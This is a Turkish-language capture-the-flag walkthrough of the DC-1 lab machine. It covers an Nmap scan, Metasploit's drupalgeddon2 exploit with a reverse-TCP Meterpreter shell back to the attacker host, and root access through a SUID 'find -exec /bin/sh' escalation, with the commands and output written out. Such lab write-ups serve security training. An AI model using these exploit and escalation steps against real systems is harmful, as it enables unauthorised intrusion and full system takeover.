

DC-1 WALKTHROUGH

İlk olarak Nmap ile hedef sistemi tarıyoruz.

```
nmap -sS -sV -sC -Pn 192.168.1.44
```

```
root@kali:~# nmap -sS -sV -sC -Pn 192.168.1.44
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-18 14:51 EST
Nmap scan report for 192.168.1.44 (192.168.1.44)
Host is up (0.00044s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
|_ ssh-hostkey:
|_   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|_   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_   256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http      Apache httpd 2.2.22 ((Debian))
|_ http-generator: Drupal 7 (http://drupal.org)
|_ http-robots.txt: 36 disallowed entries (15 shown)
|_ /includes/ /misc/ /modules/ /profiles/ /scripts/
|_ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
|_ /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_ /LICENSE.txt /MAINTAINERS.txt
|_ http-server-header: Apache/2.2.22 (Debian)
|_ http-title: Welcome to Drupal Site | Drupal Site
111/tcp    open  rpcbind  2-4 (RPC #100000)
|_ rpcinfo:
|_   program version  port/proto  service
|_   100000  2,3,4    111/tcp    rpcbind
|_   100000  2,3,4    111/udp    rpcbind
|_   100000  3,4      111/tcp6   rpcbind
|_   100000  3,4      111/udp6   rpcbind
|_   100024  1        32823/udp  status
|_   100024  1        36807/tcp  status
|_   100024  1        51729/tcp6 status
|_   100024  1        52036/udp6 status
MAC Address: 08:00:27:B0:70:DE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.24 seconds
```

Hedef sistemde Drupal 7 çalıştığını tespit ettik.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

```
1 msf > use exploit/unix/webapp/drupal_drupalgeddon2
2 msf exploit(drupal_drupalgeddon2) > show targets
3 ...targets...
4 msf exploit(drupal_drupalgeddon2) > set TARGET < target-id >
5 msf exploit(drupal_drupalgeddon2) > show options
6 ...show and set options...
7 msf exploit(drupal_drupalgeddon2) > exploit
```

Drupal 7 de drupalgeddon adlı bir zaafiyetin olduğunu tespit ettik. Şimdi metasploitte gerekli ayarlamaları yapalım.

```
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):


| Name        | Current Setting | Required | Description                                                                        |
|-------------|-----------------|----------|------------------------------------------------------------------------------------|
| DUMP_OUTPUT | false           | no       | Dump payload command output                                                        |
| PHP_FUNC    | passthru        | yes      | PHP function to execute                                                            |
| Proxies     |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                       |
| RHOSTS      | 192.168.1.44    | yes      | The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' |
| RPORT       | 80              | yes      | The target port (TCP)                                                              |
| SSL         | false           | no       | Negotiate SSL/TLS for outgoing connections                                         |
| TARGETURI   | /               | yes      | Path to Drupal install                                                             |
| VHOST       |                 | no       | HTTP server virtual host                                                           |


Payload options (php/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.43    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                      |
|----|---------------------------|
| 0  | Automatic (PHP In-Memory) |


```

```
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.1.43:4444
[*] Sending stage (38288 bytes) to 192.168.1.44
[*] Meterpreter session 2 opened (192.168.1.43:4444 → 192.168.1.44:58457) at 2024-11-18 15:10:35 -0500
meterpreter >
```

```

meterpreter > ls
Listing: /var/www
Mode                Size      Type      Last modified    Name
-----
100644/rw-r--r--    174      fil       2013-11-20 15:45:59 -0500 .gitignore
100644/rw-r--r--    5767     fil       2013-11-20 15:45:59 -0500 .htaccess
100644/rw-r--r--    1481     fil       2013-11-20 15:45:59 -0500 COPYRIGHT.txt
100644/rw-r--r--    1451     fil       2013-11-20 15:45:59 -0500 INSTALL.mysql.txt
100644/rw-r--r--    1874     fil       2013-11-20 15:45:59 -0500 INSTALL.pgsql.txt
100644/rw-r--r--    1298     fil       2013-11-20 15:45:59 -0500 INSTALL.sqlite.txt
100644/rw-r--r--    17861    fil       2013-11-20 15:45:59 -0500 INSTALL.txt
100755/rwxr-xr-x    18092    fil       2013-11-01 06:14:15 -0400 LICENSE.txt
100644/rw-r--r--    8191     fil       2013-11-20 15:45:59 -0500 MAINTAINERS.txt
100644/rw-r--r--    5376     fil       2013-11-20 15:45:59 -0500 README.txt
100644/rw-r--r--    9642     fil       2013-11-20 15:45:59 -0500 UPGRADE.txt
100644/rw-r--r--    6604     fil       2013-11-20 15:45:59 -0500 authorize.php
100644/rw-r--r--    720      fil       2013-11-20 15:45:59 -0500 cron.php
100644/rw-r--r--    52       fil       2019-02-19 08:20:46 -0500 flag1.txt
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 includes
100644/rw-r--r--    529      fil       2013-11-20 15:45:59 -0500 index.php
100644/rw-r--r--    703      fil       2013-11-20 15:45:59 -0500 install.php
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 misc
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 modules
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 profiles
100644/rw-r--r--    1561     fil       2013-11-20 15:45:59 -0500 robots.txt
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 scripts
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 sites
40755/rwxr-xr-x    4096     dir       2013-11-20 15:45:59 -0500 themes
100644/rw-r--r--    19941    fil       2013-11-20 15:45:59 -0500 update.php
100644/rw-r--r--    2178     fil       2013-11-20 15:45:59 -0500 web.config
100644/rw-r--r--    417      fil       2013-11-20 15:45:59 -0500 xmlrpc.php

meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you.
meterpreter >

```

Flag1.txt dosyasını tespit ettik. Şimdi root hesabına geçiş yaparak root dizini altındaki bayrağı yakalamamız gerekiyor.

```
find / -perm -u=s -type f 2>/dev/null
```

Makinede yönetici yetkileri ile çalıştırabileceğimiz dosyaları arıyoruz.

```
meterpreter > shell
Process 9278 created.
Channel 1 created.
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
```

Burada find komutu dikkatimizi çekiyor. GTFObins sitesinde find ile nasıl yetki yükseltebileceğimizi araştıralım.

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit
```

Debian sistemlerde -p parametresini kullanmayacağımızı söylüyor. Şimdi kodumuzu çalıştıralım.

```
/usr/bin/find . -exec /bin/sh \; -quit
```

```
/usr/bin/find . -exec /bin/sh \; -quit
whoami
root
cd /root
ls
thefinalflag.txt
cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.
Service detection performed. Please report any incorrect r
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
```

Yetkimizi yükselterek final bayrağını da almayı başardık